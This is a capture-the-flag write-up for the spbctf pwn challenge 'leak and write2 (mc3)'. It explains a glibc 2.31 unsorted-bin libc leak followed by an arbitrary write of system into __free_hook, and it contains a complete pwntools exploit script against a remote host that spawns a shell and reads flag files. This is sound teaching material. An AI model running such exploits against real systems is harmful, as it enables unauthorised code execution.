leak and write2 (mc3)
leak and write2 (mc3)
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: free_hook_overwrite, no_write_realloc_leak, system_binsh, unsorted_bin_leak, write_what_where
Summary
Task: glibc 2.31 menu-driven heap allocator with fixed malloc(0x800), a delete that NULLs slots (no UAF), and an arbitrary 8-byte write-what-where option. Solution: leak libc via unsorted-bin fd by re-allocating a freed 0x810 chunk with size=0 (read loop skipped, fd survives) then puts it; overwrite __free_hook with system and free a '/bin/sh' chunk for a shell.
leak and write2 (mc3) — spbctf
Description
Mic Check: leak and write2 nc 109.233.56.90 11802
English summary: A menu-driven heap allocator (glibc 2.31, PIE, Full RELRO, NX,
Canary, IBT/SHSTK). We are given mc3.elf and libc.so. The binary exposes an
arbitrary write-what-where primitive but no obvious info leak — the leak must be
crafted by abusing the allocation size parameter.
Analysis
Global state: array[10] of chunk pointers. Main loop is logic @ 0x1730.
Menu options:
- 1
allocate(0x1300): ALWAYSmalloc(0x800)— the requestedsizeis only used as a read length, not the malloc size (rejected if> 0x7ff). Printsenter name:, then only ifsize > 0readssizebytes byte-by-byte (stops on\n). Whensize <= 0the read loop is skipped, so the freshly (re)allocated chunk's contents are left untouched. The pointer is stored in the first emptyarrayslot. - 2
print(0x1848):puts(array[idx]). - 3
delete(0x18a0):free(array[idx])and setsarray[idx] = 0— so there is no use-after-free (unlike sibling challenges mc4/mc5, whose delete did not NULL the slot). - 4
www(0x17cc): reads an address and a value in hex, then executes*(uint64_t*)addr = value— an arbitrary 8-byte write-what-where.
Prompt discipline: menu prompt Choose:; allocate prints Size? then
enter name:; print/delete prompt Index?; www prompts enter address in hex:
and enter value in hex:.
The leak trick — "use param for read" (matches the flag)
Because delete NULLs the slot, there is no UAF to leak with. The only leak
primitive is the interaction between the fixed malloc(0x800) and the size
parameter:
malloc(0x800)yields a chunk of size0x810, which is larger than the biggest tcache bin (0x410), so freeing it routes into the unsorted bin.- When a chunk enters the unsorted bin, its
fdis set tomain_arena + 0x60, a libc pointer. - Re-allocating the same chunk with
size = 0skips the read loop, so thatmain_arena + 0x60value survives inside the chunk data. putson the reused chunk leaks the pointer:libc_base = leak - 0x1ebbe0.
A guard chunk is allocated between the target chunk and the top chunk to prevent consolidation into the top on free.
Solution
Full flow:
alloc(A)→ idx0 (the 0x810 chunk).alloc(guard)→ idx1 (prevents top consolidation).delete(0)→ chunk A into the unsorted bin;fd = main_arena+0x60.alloc(size=0)→ returns the same freed chunk; read skipped, fd survives; reuses idx0.print(0)→putsleaksmain_arena+0x60→ computelibc_base.www(__free_hook, system)— glibc 2.31 still has a writable__free_hook.alloc("/bin/sh\0")→ idx2.delete(2)→free(ptr)→__free_hook(ptr)=system("/bin/sh")→ shell.
Flag is read from /flag.txt (process runs as uid man).
libc 2.31 offsets used
| Symbol | Offset |
|---|---|
system | 0x55410 |
__free_hook | 0x1eeb28 |
__malloc_hook | 0x1ebb70 |
main_arena+0x60 (unsorted bin head) | 0x1ebbe0 |
python read-only • copy allowed#!/usr/bin/env python3 """mc3 'leak and write2' — glibc 2.31. Leak: unsorted-bin fd via alloc/free/re-alloc(size=0)/print. Write: www (arbitrary 8-byte write) -> __free_hook = system; free('/bin/sh').""" from pwn import * import sys context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so') HOST, PORT = '109.233.56.90', 11802 MAIN_ARENA_OFF = 0x1ebbe0 # main_arena+0x60 = unsorted bin head value def start(): return remote(HOST, PORT) def alloc(p, size, data=b''): p.sendlineafter(b'Choose:', b'1') p.sendlineafter(b'Size?', str(size).encode()) if size > 0: p.sendafter(b'enter name:', data) if len(data) < size: p.send(b'\n') def show(p, idx): p.sendlineafter(b'Choose:', b'2') p.sendlineafter(b'Index?', str(idx).encode()) def delete(p, idx): p.sendlineafter(b'Choose:', b'3') p.sendlineafter(b'Index?', str(idx).encode()) def www(p, addr, value): p.sendlineafter(b'Choose:', b'4') p.sendlineafter(b'enter address in hex:', hex(addr).encode()) p.sendlineafter(b'enter value in hex:', hex(value).encode()) def exploit(): p = start() # --- Phase 1: libc leak --- alloc(p, 0x100, b'A'*0x10) # idx0 big-ish chunk (fixed malloc 0x800) alloc(p, 0x10, b'guard') # idx1 guard (also malloc 0x800) delete(p, 0) # idx0 -> unsorted bin; fd=main_arena+0x60 alloc(p, 0, b'') # reuse freed chunk WITHOUT overwriting fd (size=0 skips read) -> idx0 show(p, 0) # puts(chunk) leaks fd # read leak line leak_line = p.recvline().strip() while leak_line == b'': leak_line = p.recvline().strip() leak = u64(leak_line[:6].ljust(8, b'\x00')) log.info('leak raw = %r -> %#x', leak_line, leak) libc.address = leak - MAIN_ARENA_OFF log.success('libc base = %#x', libc.address) assert libc.address & 0xfff == 0, 'bad libc base align' system = libc.sym.system free_hook = libc.sym.__free_hook log.info('system=%#x free_hook=%#x', system, free_hook) # --- Phase 2: __free_hook = system via www --- www(p, free_hook, system) log.info('wrote system into __free_hook') # --- Phase 3: trigger. allocate '/bin/sh', delete -> system('/bin/sh') --- # slots: idx0(reused) used, idx1 used -> next free slot is idx2 alloc(p, 0x10, b'/bin/sh\x00') p.sendlineafter(b'Choose:', b'3') p.sendlineafter(b'Index?', b'2') p.sendline(b'echo PWNED_MARKER; id; cat /flag* 2>/dev/null; cat /home/*/flag* 2>/dev/null; ls -la /') import time; time.sleep(2) try: print(p.recv(4096).decode(errors='replace')) except Exception as e: print('recv err', e) p.interactive() if __name__ == '__main__': exploit()